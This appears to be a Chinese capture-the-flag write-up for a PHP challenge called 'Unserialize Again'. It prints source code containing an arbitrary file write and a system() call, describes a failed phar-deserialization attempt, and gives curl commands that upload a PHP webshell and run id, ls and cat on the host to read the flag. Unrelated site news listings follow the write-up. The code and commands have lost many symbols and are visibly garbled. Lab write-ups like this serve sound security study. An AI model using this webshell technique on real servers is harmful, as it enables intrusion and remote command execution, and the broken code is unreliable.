Unserialize Again
WriteUp: Unserialize Again题目信息题目名称Unserialize Again难度中等提示Pair pears?目标获取Flag第一步信息收集访问首页发现Cookie中提示pairing.php访问该页面获得源码。curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/ # 响应头中有 Set-Cookie: looklookpairing.php curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php第二步源码审计pairing.php中存在一个story类关键魔术方法如下class story{ private $useradmin; public $pass; public $eating; public $Godfalse; public function __wakeup(){ $this-userhuman; if(11){ die(); } // 后面有 if(1!1){ echo $fffflag; } } public function __destruct(){ if($this-Godtrue $this-useradmin){ system($this-eating); } else { die(Get Out!); } } } if(isset($_GET[pear])isset($_GET[apple])){ $pear$_GET[pear]; $Adam$_GET[apple]; $filefile_get_contents(php://input); file_put_contents($pear,urldecode($file)); file_exists($Adam); }file_put_contents($pear, urldecode($file))可以将POST body写入任意文件$pear可控。file_exists($Adam)如果$Adam是phar://协议则会触发 phar 反序列化。反序列化目标使__destruct满足Godtrue且useradmin从而执行system($this-eating)。__wakeup会将user改为human并die()需要绕过。第三步尝试 phar 反序列化未成功生成了绕过__wakeup的 phar 文件修改属性数为5或3但由于服务端对 phar 的兼容性问题或urldecode对二进制数据的破坏始终无法触发 RCE输出均为Get Out!。第四步另辟蹊径 – 直接上传 webshell注意到file_put_contents可以写入任意文件且目录可写。直接上传一个简单的 PHP webshellcurl -g -X POST http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php?pearshell.phpapplex \ --data ?php system($_GET[c]);?验证上传成功并执行命令curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?cid # uid33(www-data) gid33(www-data) groups33(www-data)第五步寻找 Flag列出根目录发现特殊文件/flllag注意不是/flagcurl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?cls%20-la%20/ # 发现 -rw-r--r-- 1 root root 43 Jul 10 00:49 flllag curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?ccat%20/flllag # CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}最终 FlagCTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}总结本题虽然名为反序列化但实际更简单的解法是利用file_put_contents直接写 webshell 获得 RCE。Phar 反序列化因环境限制未能成功但 webshell 方案同样有效。关键点是发现/flllag而非常见的/flag文件名。

相关新闻

编程学习:一名二游老资历想原创一部二游

编程学习:一名二游老资历想原创一部二游

大家好,我叫小周想学习编程到精通水平,拿到竞赛奖项并且掌握专业的技能,有朝一日自己有能力做游戏(类似星穹铁道,然后是...)目前只能依赖B站网课学习,效率感人,希望能推荐一些方法我…

2026/10/12 7:34:59 阅读更多 →
电路设计入门:从基础符号到实战应用的全解析

电路设计入门:从基础符号到实战应用的全解析

1. 项目概述:从符号到电路世界的语言如果你刚接触电路设计,或者翻开一份复杂的电路图,第一眼看到的可能不是密密麻麻的连线,而是各种奇形怪状的符号:一个圆圈加个箭头、一个三角形、几条波浪线……这些就是电路世界的“…

2026/10/11 18:00:04 阅读更多 →
TradingView足迹图实战:揭秘市场微观结构与Delta分析

TradingView足迹图实战:揭秘市场微观结构与Delta分析

最近在跟一些交易员朋友交流时发现,很多人对"Footprint Charts"这个概念既好奇又困惑。有人说这是机构交易员的秘密武器,有人说这不过是K线图的变种。但真正能说清楚它到底解决了什么实际问题的人,却少之又少。 Footprint Charts&…

2026/10/4 0:38:34 阅读更多 →

最新新闻

libnodave实战:在C#和LABVIEW中调用S7通讯库

libnodave实战:在C#和LABVIEW中调用S7通讯库

简介:libnodave-0.8.5.zip 是一套面向工业自动化开发者的西门子 S7 系列 PLC 通信库,适合在 LABVIEW、C# 等环境中集成调用,解决跨平台与 PLC 进行数据交互的问题。压缩包共 120 个文件,约 1.71MB,包含 28 个 C 源码、…

2026/10/12 7:35:23 阅读更多 →
数据恢复全链路:文件系统原理、开源工具与避坑指南

数据恢复全链路:文件系统原理、开源工具与避坑指南

简介:易我数据恢复软件(EaseUS Data Recovery Wizard)技术员版v11.9.0以中文绿色便携形式打包,专为系统维护、数据救援及临时应急场景设计,面向有数据找回需求的技术员和普通用户。工具可覆盖电脑误删文件、格式化硬盘…

2026/10/12 7:35:23 阅读更多 →
中控考勤机C#开发实战:通信选型、SDK对接与避坑指南

中控考勤机C#开发实战:通信选型、SDK对接与避坑指南

简介:面向中控考勤机二次开发的工程师与集成商,这份资料包聚焦设备通讯、SDK调用与考勤数据管理,提供从底层API到界面实现的完整参考。压缩包共1264个文件,容量约11.08MB,包含221个C#源码(cs)、…

2026/10/12 7:35:23 阅读更多 →
Linux iNode 7.3 802.1X认证客户端安装配置与排错指南

Linux iNode 7.3 802.1X认证客户端安装配置与排错指南

简介:面向64位Linux运维与网络管理人员的H3C iNodeManager网络管理工具安装包,用于统一管控H3C路由器、交换机等设备,适合需要配置管理、性能监控和故障检测的中大型网络环境。压缩包共25个文件,整体约47.9MB,除核心可…

2026/10/12 7:35:23 阅读更多 →
Vue应用打包Linux桌面客户端:一键安装与自动升级实践

Vue应用打包Linux桌面客户端:一键安装与自动升级实践

Vue 应用交付时通常是给用户一个浏览器地址,但在 Linux 客户机这个场景里,事情没那么简单。客户机往往是工控机、瘦终端、旧台式机,没有固定的人去维护浏览器,网络也不保证稳定,操作员更不可能记一串 IP 再去敲回车。把…

2026/10/12 7:35:23 阅读更多 →
WASI 文件系统路径解析与沙箱机制深度剖析:从 openat 手动算法到 openat2 内核原语

WASI 文件系统路径解析与沙箱机制深度剖析:从 openat 手动算法到 openat2 内核原语

【免费下载链接】WASI WebAssembly System Interface 项目地址: https://gitcode.com/gh_mirrors/wa/WASI 点击查看 免费下载 导读 WASI(WebAssembly System Interface)的文件系统接口采用"能力导向(capability-oriented&a…

2026/10/12 7:34:22 阅读更多 →

日新闻

复古胶片颗粒感噪点合成器:Canvas ImageData 像素高斯杂色注入算法

复古胶片颗粒感噪点合成器:Canvas ImageData 像素高斯杂色注入算法

在数码相机、高清显示屏与现代矢量图形技术高度发达的今天,画面可以做到绝对的锐利、平滑与无瑕。然而,当一张秋日手账插画或拍立得照片过于“平整无瑕”时,往往会散发出一种冰冷生硬的“数码塑料感(Digital Plasticity&#xff0…

2026/10/12 0:00:59 阅读更多 →
活字印刷古籍线装排版:Canvas 竖排文字与栏线自适应算法

活字印刷古籍线装排版:Canvas 竖排文字与栏线自适应算法

在现代网页与移动端设计中,横排(Horizontal Layout)早已经成为了绝对的主流。然而,当我们翻开泛黄的线装古籍、宋版木刻诗集,或是欣赏一张茶道雅集的手写便签时,那种**自上而下纵向书写、自右向左逐列铺展&…

2026/10/12 0:00:59 阅读更多 →
周日晚间的“精神松绑减震器”:无压力情绪倾倒箱与温和轻声陪伴

周日晚间的“精神松绑减震器”:无压力情绪倾倒箱与温和轻声陪伴

每到周日的晚上八点到十点,很多人心里都会悄悄亮起一盏警示灯。 在心理学上,这种现象有一个专门的称谓——“周日夜晚焦虑症(Sunday Scaries)”。明天又是周一,闹钟又要重新在七点响彻卧房;脑海里仿佛有一个…

2026/10/12 0:00:59 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/12 0:16:30 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/12 0:16:43 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 10:45:37 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:53 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:54 阅读更多 →